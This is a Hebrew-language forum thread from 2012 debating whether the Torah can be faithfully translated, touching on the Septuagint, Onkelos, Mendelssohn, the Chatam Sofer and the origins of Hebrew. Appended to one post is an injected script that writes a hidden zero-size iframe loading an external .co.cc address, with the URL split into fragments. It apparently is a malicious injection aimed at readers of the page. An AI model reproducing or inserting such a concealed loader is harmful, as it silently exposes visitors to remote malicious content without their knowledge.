|
|
| נשלח ב-5/1/2012 18:50 |
|
| |
"באופן המנסה לשמור על התוכן המקורי "
למ80
על זה כל הדיון. לטענתי נסיון זה לא יכל להצליח.
|
|
|
|
| נשלח ב-5/1/2012 19:03 |
|
| |
נכון, מה עוד שאי-אפשר לתרגם כראוי מלשון הקודש. מהבחינה הזאת, כמעט כל התרגומים בין הלשונות אינם טובים, כי אינם מצליחים לשמור על גם על המוסיקליות ורוח היצירה המקורית וגם על הייחוד של הלשון אליה מתרגמים.
|
|
|
|
| נשלח ב-6/1/2012 08:11 |
|
| |
כמה אמירות, אולי לא טריביאליות, על תירגום.
אם מתבוננים ברעיון של תירגום, הרי כמדומה שיש כאן שתי נטיות מנוגדות.
א. התירגום מאפשר למקור להגיע ליותר קוראים ולומדים.
דוגמא של מה בכך: יש סופרים שהחלו להתפרסם ולהתפרנס מן הפירסום רק לאחר שתורגמו. אם זכרוני אינו מטעני, פנחס שדה, סופר מקורי הראוי לאשכול (אולי היה) מספר על כך באחת הביוגרפיות שלו.
שם זה היה לתועלת הסופר. כאן אנו מדברים על העברת המסר התורני.
וזה מוביל לשאלה על קהל היעד. יהודים או גויים? או גם וגם?
וזה מוביל לשתי שאלות. לגבי הגויים, אם ראוי לחשוף אותם לתורה, והאם זה מותר, אסור, מצוה?
וכמובן יכולה להיות בדבר מחלוקת תנאים. שתי הגישות מוצגות בספר ששמו מביע את הרעיון: "תורה לכל באי עולם" של מנחם הירשמן.
וגם לגבי היהודים, אם מעניקים להם תירגום, הם פחות יתאמצו לקרוא את המקור. המקור עלול להידחות מפני התירגום, כפי שהכתיבה של התורה בכתב רעץ נדחתה מפני הכתב היפה יותר האשורי.
הקפדה על שימוש עברי בלבד תורמת לחיזוק הקשר עם השורשים (ארץ, שפה, הגדרה עצמית) וגם מגינה על החברה, יחסית, מפני השתנות ומודרניזציה (תופעה שמוכרת היום אבל היתה קיימת גם מול התרבות היוונית כפי שכבר נכתב כאן). שיקול זה פועל בדיונים על תירגום התפילה לשפות אחרות ועל עצם התפילה בשפות אחרות.
ב. תירגום אינו יכול להיות נאמן לגמרי למקור. כל תירגום הוא פירוש ברמה מסויימת. (ואולי יש להיזקק לשאלה הקשה מאד מהו פירוש).
על אחת כמה וכמה בתורה שאמורה להכיל רמזים בדרגות שונות ובאופנים שונים של רמיזה. "רמיזה" במובן של העברת מסרים מכוונים לא רק ברמת המשמעות של המשפט (לפי ויטגנשטיין, המשמעות היא נחלתו של משפט או של קטע).
ואיפה שותף סוד שיפרט איך זה בדוגמאותיו.
עד שיבוא שותף סוד אפשר לעיין בספרו החדש של יוסף דן על תורת הסוד, בכרך א' או ב', יש פרק חשוב על התפתחות תפיסת הפרשנות של התורה ברבדים נוספים מעבר למשמעות הראשונים הויטגנשטינית.
מכאן אפשר להגיע עד לקריאה בקודים. כותב שורות אלו מתנגד נחרצות לקריאה כזו, אבל היא ממחישה יפה את חוסר האפשרות של תירגום ממצה ונכון.
*** דוגמא: את הביטוי "בני ישראל יוצאים בראש מורם" מתרגם אונקלוס "בריש גלי". כמדומה שהביטוי האנגלי הוא WALKING TALL. אבל שני הביטויים החליפיים, הארמי והאנגלי, יכילו פחות מאשר הטקסט העברי באופן הכרחי כי כל תירגום מאבד את הקונוטציות שבמקור. (משמעויות הלואי. יש משמעויות תרבותיות ויש פרטיות אך אלו האחרונות אינן יכולות לקבוע כי הן משתנות מאדם לאדם).
זכורני מאמר שראיתי בשכבר הימים בטיים (או בניוזוויק) שהשווה בין תירגומים חדשים וישנים לאנגלית. מצא חן בעיני תירגום חדש שהכין פרופסור לספרות, והיה לו טעם של המקור (לפי תחושתי שלי, וכמובן רק על סמך כמה דוגמאות מהמאמר, וגם אלו מהחלקים הסיפוריים של התורה). כמדומה שכך ניתן לומר על התירגום של רוזנצוויג ובובר (לפי נחמה לייבוביץ כמדומה).
אוסיף עוד נקודה שלא ראיתי שמזכירים בדרך כלל. תירגום של טקסט קלאסי נשען וראוי לו להישען על נסיון לחפש את הניסוח הקרוב ביותר למקור כפי שהוא משתמע בתרבות. לפיכך הוא אמור לינוק מהמקבילות המכילות כמה שיותר נקודות דמיון בשפת התירגום.
אבל אם הטקסט חשוב דיו, בשלב כלשהו עצם נוכחותו של התירגום תעניק למילות התרגום אותן קונוטציות מוכרות מן המקור ואדרבה, תשפיע על שימושי המילים שנבחרו בשפת התירגום כך שהן יתחילו לקבל משמעים נוספים (אולי לא בהכרח מדוייקים כמו בשפת המקור) בשל מעמדן הבכיר, כאלו שנבחרו לתירגום הטקסט רב החשיבות.
עוד אציין שהיתה מלחמה נגד נסיונות תירגום במשך הדורות, בעיקר למקרא או לתנ"ך בכלל, אבל כמדומה שלאחר מכן גם לתלמוד. אבל בשלב כלשהו המלחמה פגה ואיכשהו הוצאת ארטסקרול הצליחה להוציא לא רק את פירוש שוטנשטיין (העברי הוא הרחבה של הרעיון של המקור האנגלי שהיה הרבה יותר פשטני ומיועד באמת לחסרי רקע תלמודי) אלא גם תירגום למקרא בלי שאיש יחרים את ההוצאה (לא שאני בעד החרמות כאלו).
ושוב מהזכרון, המתרגם עשה לדעתי גרוע מאד ותירגם, כמו בדוגמא שהביא ספרן מתירגום היידגר, להבדיל, את הביטויים והמטאפורות כפשוטן.
"אין צור כאלוקינו" - THERE IS NO ROCK LIKE OUR GOD
(עכשו אפשר לפתח באשכול אחר דיון על קדושת השמות בשפות זרות...).
תירגום לתירגום: אין שום סלע כמו אלוקים שלנו.
זה נכון אבל לא נכון. האם הקונוטציות באנגלית של סלע דומות לשל העברית?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
נוסף קטע ארוך ששכחתי תחילה על ההשלכות של שימוש בשפת תירגום לטוב ולרע. ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 06/01/2012 08:14:30
 |
|
|
|
|
|
| נשלח ב-6/1/2012 15:39 |
|
| |
לשון הקודש ייחודית ביכולתה להביע את המחשבות הנאצלות והרגשות הדקים של הנשמה. על-כן אי-אפשר לתרגם כראוי את התורה ללשונות אחרות. וכתבת על האבנים את כל דברי התורה הזאת באר היטב. פירש רש"י: בשבעים לשונות. התרגומים נועדו לאפשר לאומות העולם להתקרב לתורה באמצעות התרגומים. כנ"ל תרגומי עקילס, אונקלוס, רס"ג, ועוד תרגומים שתירגמו חכמי ישראל בכל הדורות. להבדיל, תרגום השבעים נועד להחליף את התורה, ולכן היה קשה לישראל כיום בו נעשה עגל הזהב. כאשר משה מנדלסון וחבריו תירגמו את התורה ללשון גרמנית כדי להראות את יפי המליצה של לשון הקודש, התנגדו לתרגום גדולי הדור, כי חשש בצדק שההמון ילמד מהתרגום את הלשון הגרמנית ויפנה לתרבות זרה. לסיכום, אי-אפשר ללמוד ולהבין את התורה ללא ידיעה עמוקה ומקפת של לשון הקודש, כי לשון הקודש שייכת לתורה עצמה.
|
|
|
|
| נשלח ב-7/1/2012 21:35 |
|
| |
לגבי השאלה למה תרגום התורה היוונית היה קשה לעם ישראל. תרגום התורה ליוונית שימש את יהודי מצרים (אנחנו יודעים על יהודי אלכסנדריה) כספר התורה שלהם, וממנו קראו בבית הכנסת, אותו למדו וכן הלאה. הם התייחסו אליו כספר קודש לכל דבר. אלא מאי? כשהוקמה הנצרות הרשעה לקחו היהודים שהקימו אותה את התנ"ך אותו הכירו והפכו אותו לתנ"ך שלהם. לכן התנ"ך הנוצרי הוא למעשה תרגום השבעים בתוספת הברית החדשה. מכאן שכשחז"ל יוצאים כנגד תרגום השבעים הם בעצם יוצאים כנגד הנצרות, ולכן גם ברור מדוע הם טוענים כי התרגום לא מדוייק כל צרכו. לגבי מסורות יהודיות ונוצריות על מספר הזקנים אני לא יודע. מה שוודאי הוא שהמסורת היהודיות היו קודם.
|
|
|
|
| נשלח ב-8/1/2012 04:18 |
|
| |
...> כאשר משה מנדלסון וחבריו תירגמו את התורה ללשון גרמנית כדי להראות את יפי המליצה של לשון הקודש, התנגדו לתרגום גדולי הדור, כי חשש בצדק שההמון ילמד מהתרגום את הלשון הגרמנית ויפנה לתרבות זרה> החתם סופר כתב בסוף תשובתו (אבן העזר סימן יא): "... ועל עצמי אינני מכיר מה לכם לחתום עצמכם אפי' בשטרי הדיוטות או בהכשרים בשם לטין אשר לא שערו אבותינו ורבני' קדמוני' שלפני פר"מ, ולדעתי גם הקדמוני' היו בקיאי' ללועזי' בלע"ז אך בכוונה שבשו הלשונות מפני גזרת י"ח דבר שבירושלמי פ"ק דשבת ועל לשונם יע"ש ואין להאריך בזה בעו"ה". וראו בדרשות החת"ס ח"א דף פז) דרוש לח' טבת תקפ"ח.
האם פירוש דבריו הוא שהשפות הזרות שונו ע"י היהודים בכוונה כדי שלא תהיינה שפות נוכריות, האם אין ולא צורת התפחות טבעית של שפה?
הרב יקותיאל יהודה גרינוואלד מתייחס לדברי החת"ס בתשובתו ב"אגרות גדולי ישראל מאונגריא" סיני י"ח עמוד שלב הערה 30, ושם הוא כותב:
"והבאתי במקום אחר שלא היתה כוונתו שאין לישראל ללמוד לשונות זרות, כי הלא הוא בעצמו השיב לק"ק פיורדא בשנת תקפ"א שנשאל את מי לבחור לרב בפיורדא, לאחר שהציעו לפניו שלשה רבנים – שיבחרו את הרב יהושע מראוויטש ומונה בין מעלותיו "והוא בקי גם באשכנזית ...''. (חוט המשולש החדש עמוד כח, … וכן תמצא בjuediache Kulturbilder עמוד 176 שמתחרט מאוד שלא למד גרמנית (לאחר ששמע נאום בגרמנית) וראה גם ...''.
בשנת תרכ"ו התאספו רבנים בעיר מיהאלוביץ לטכס עצה איך לעצור את התפשטות הניאולוגים (הריפורמים), האסיפה החליטה 9 החלטות הנוגעות לסדרי בית הכנסת כשהראשונה היא: ''אסור לדרוש דרשה בבית הכנסת בלשון לאומים", היו רבנים יראים שדרשו בלשון אשכנז (גרמנית) ובני קהילתם לא רצו לוותר ע"כ וביקשו מרבניהם שימשיכו לדרוש בגרמנית, ומה גם שבעיר פרשבורג היה "מגיד" (הרב פייש פישמן) שהיה דורש בגרמנית מדי שבת בשבתו בבית הכנסת קהל יראים בו התפלל הכתב סופר, (ראו הרב יקותיאל יהודה גרינוואלד, ''לפלגות ראובן באונגריא" מעמוד סג, ו"אגרות גדולי ישראל מאונגריא" סיני י"ח עמוד שלא הערות 27 – 29).
הרב שמואל הכהן וינגרטן במאמרו "רבי שמואל בנימין סופר (בעל הכתב סופר) ורבי עזריאל הילדסהיימר" (סיני ע"ד עמודים פה- צה) מספר בעמוד צא, שאחרי אסיפת מיהאלוביץ כשהמגיד (הרב פייש פישמן) לא עלה על הבימה, האיץ בו הכת"ס ודרש ממנו לעלות ולדרוש.
תשובתו של החתם סופר מצוטטת במקומות רבים, אך גישתו של בנו הס מלהזכיר.
 |
|
|
|
|
| נשלח ב-8/1/2012 06:59 |
|
| |
| מיימוני כתב: |  |
דוגמא: את הביטוי "בני ישראל יוצאים בראש מורם" מתרגם אונקלוס "בריש גלי". כמדומה שהביטוי האנגלי הוא WALKING TALL.
|
|
איפה מצאת ביטוי כזה? אני מניח שכוונתך ל (שמות יד ח) | וּבְנֵי יִשְׂרָאֵל, יֹצְאִים בְּיָד רָמָה. | וּבְנֵי יִשְׂרָאֵל, נָפְקִין בְּרֵישׁ גְּלֵי. |
walking tall?! מה הפירוש, ומה הקשר?
תרגום מילולי - מסוג זה של גוגל טרנסלייט לפעמים - הוא and the *children of Israel are/were going out in high hand
דווקא התרגום 'children of Israel' ל'בני ישראל' מאוד מקובל, למרות שהמשמעות שלו היא 'ילדי ישראל'. או שמשתמשים במילה גם במשמעות של צאצאים (descents)? אני לא נתקלתי בכל אופן.
חחח אני מת...
זה התרגום במהדורת המלך ג'יימס:
and the children of Israel went out with an high hand.
לא פספסתי הרבה...
LOL
למרות שלדעתי כמומחה לענייני פרזנט היה מתאים יותר לתת כאן פרזנט (או פאסט) פרוגרסיב (are/were going out) ולא סימפל (went out). אך מי אני שאחלוק על מי שעבד בשביל קינג ג'יימס?
תוקן על ידי thepresent ב- 08/01/2012 07:45:40
|
|
|
|
| נשלח ב-8/1/2012 07:06 |
|
| |
| מ80 כתב: |  | צענע,
שד"ל עשה הבחנה חשובה בין העתקה לתרגום. תרגום הינו העברה של יצירה משפה לשפה באופן המנסה לשמור על התוכן המקורי. להבדיל, העתקה היא יצירה מחדש של היצירה המקורית בהתאם לרוח הלשון בה היצירה המועתקת נכתבת. זה אולי ההבדל בין תרגום עקילס (העתקה) לתרגום השבעים (תרגום).
|
|
גם התרגום הארמי שלפנינו המיוחס לאונקלוס משכתב דברים במוצהר, כמו שאת פעולת י-הוה הוא מייחס ל'כבוד י-הוה' וכדומה.
|
|
|
|
| נשלח ב-8/1/2012 12:35 |
|
| |
נישטאיך,
נראה לי שכוונתו שכאשר השתמשו בלשון חכמים במלים מושאלות מלשון יוונית או מלשון לעז שינו אותן באופן שתתאמנה למשקלים של הלשון העברית. .
|
|
|
|
| נשלח ב-8/1/2012 13:00 |
|
| |
"לשון הקודש ייחודית ביכולתה להביע את המחשבות הנאצלות והרגשות הדקים של הנשמה. על-כן אי-אפשר לתרגם כראוי את התורה ללשונות אחרות."
הדבר נכון לכל הלשונות.
לקרא את שקספיר (למשל )בעברית זה עולם אחר.
מעצם העובדה שליצירה מסוימת יש מספר תרגומים שכולם נכונים לכאורה -ניתן ללמוד שאף תרגום איננו מקביל למקור.
מאחר שלכל שפה יש ביטויים משלה אי אפשר לתרגם ביטויים בלי לשנות את רוח הדברים.(כמו הביטוי "ביד רמה" שהובא כאן שקשה מאד להעבירו לשפה אחרת.)
|
|
|
|
| נשלח ב-8/1/2012 13:23 |
|
| |
לשון הקודש היא הלשון שבעזרתה נברא העולם, הלשון בה ניתנה התורה, הלשון בה שוחח הקב"ה עם האדם הראשון, וממילא הלשון בה אפשר לבטא כראוי את צלם אלקים בו נברא האדם. שאר הלשונות הם פנים או עיוותים של לשון הקודש שמקורם בשבעים הלשונות שנוצרו אחרי הבלבול של מגדל בבל. השירה של שקספיר חולין, וממילא תרגומה ללשון הקדוש יישמע מלאכותי ופחות טוב מאשר באנגלית. אולם אם מעתיקים את שקספיר ללשון הקודש, דהיינו באופן של חיבור יצירה חדשה המקדשת את החולין, ההעתקה תהיה טובה יותר מהמקור. בפועל, יש מעט מאד העתקות מוצלחות מלשונות זרות ללשון הקודש.
|
|
|
|
| נשלח ב-8/1/2012 13:27 |
|
| |
מ80 עיין מו"נ ח"ג פ"ח, ורמב"ן על התורה בפרשת כי תשא.
|
|
|
|
| נשלח ב-8/1/2012 14:03 |
|
| |
בעל,
הקדושה הוגדרה היטב בפרשת קדושים. יש משוררים בלשונות זרות שידעו את מה שכתב הרמב"ם ולכן ניסו להאציל את לשונם. לדוגמא, דנטה שניסה לשחזר את לשונו של האדם הראשון באמצעות האצלה של הלשון העממית ושמירה על מידות טובות ביצירתו, והתוצאה לשון איטלקית מעודנת. לענ"ד לא כל יצירה אפשר להעתיק ללשון הקודש, ואם מעתיקים יצירה מלשון זרה ללשון הקודש, אי-אפשר להעתיק את החומר, אלא רק לברוא מחדש את הצורה המופשטת אם יש בה יסוד מוסרי כללי. לדוגמא, המחזה 'לישרים תהלה' שחיבר הרמח"ל מבוסס על המחזה "הרועה הנאמן" של המשורר האיטלקי גואריני. מכל מקום, בדברים כאלה 999 נכשלים ואחד מצליח.
|
|
|
|
| נשלח ב-8/1/2012 14:46 |
|
| |
| מ80 כתב: |  | | לשון הקודש היא הלשון שבעזרתה נברא העולם, הלשון בה ניתנה התורה, הלשון בה שוחח הקב"ה עם האדם הראשון, וממילא הלשון בה אפשר לבטא כראוי את צלם אלקים בו נברא האדם. שאר הלשונות הם פנים או עיוותים של לשון הקודש שמקורם בשבעים הלשונות שנוצרו אחרי הבלבול של מגדל בבל. השירה של שקספיר חולין, וממילא תרגומה ללשון הקדוש יישמע מלאכותי ופחות טוב מאשר באנגלית. אולם אם מעתיקים את שקספיר ללשון הקודש, דהיינו באופן של חיבור יצירה חדשה המקדשת את החולין, ההעתקה תהיה טובה יותר מהמקור. בפועל, יש מעט מאד העתקות מוצלחות מלשונות זרות ללשון הקודש.
|
|
pastingאדם וחווה, האנשים הראשונים על פני כדור הארץ, אם דיברו בכלל ביניהם, דיברו בשפה, שלא היתה השפה העברית. האם היתה זו אם-שמית? קשה לדעת. אולי גם לאם-השמית קדמה שפה אחרת, אך אין בידינו הכלים לדעת זאת. על כל פנים, גם הארמית לא היתה קיימת אז, ודוברי אם-השמית הקדמונים היו להם בלשונם הגיים שאבדו הן בארמית והן בעברית. גם בערבית אבדו הגיים מסוימים שהיו באם-השמית, ועל כן ברור, שאם-השמית קדמה לערבית, אולם לא בזאת אנו עוסקים כאן. מסקנה זו - שהעברית התפתחה משפה אחרת, מתחזקת מתוך עיון בקבוצות מילים עבריות נוספות, שגם להן יש מקבילות בערבית ובארמית. מפרשי המקרא ומדקדקים היו צריכים לעמול קשה על מנת להסביר שתי משמעויות של מילים דומות, שיש להן אותו שורש, כגון חרב (כלי מלחמה) ו-חורב (יובש). כאן נהגו לומר, כי בעקבות החרב (=מלחמה) בא חורבן, וממנו גם חורב (=יובש). אולם השוואה לערבית מראה כי להסבר זה אין כל יסוד. בערבית יש שני הגיים שונים זה מזה, ובעברית המקביל לשניהם הוא ההגה ח שלנו. בין שתי מילים אלו בערבית אין כל קשר. חרב הערבית יש בה ההגה ח, ואילו בחרב ההגה שבערבית הוא ח'. בערבית יש, איפוא, שתי מילים נפרדות, לכל אחת מהן קשרים עם מילים אחרות, אבל אין שום קשר בין ח לבין ח'. ההסברים שכתבו מפרשים שונים למקרא נבעו פשוט מאי-ידיעת העובדות הללו."
לפני שאתה מפריח תאוריות לא מבוססות כדאי שתקרא בעיון את המאמר שהבאתי בלינק למעלה.
תוקן על ידי צענערענע ב- 08/01/2012 15:01:01
|
|
|
|
| נשלח ב-8/1/2012 14:53 |
|
| |
תוקן על ידי צענערענע ב- 08/01/2012 14:58:58
|
|
|
|
|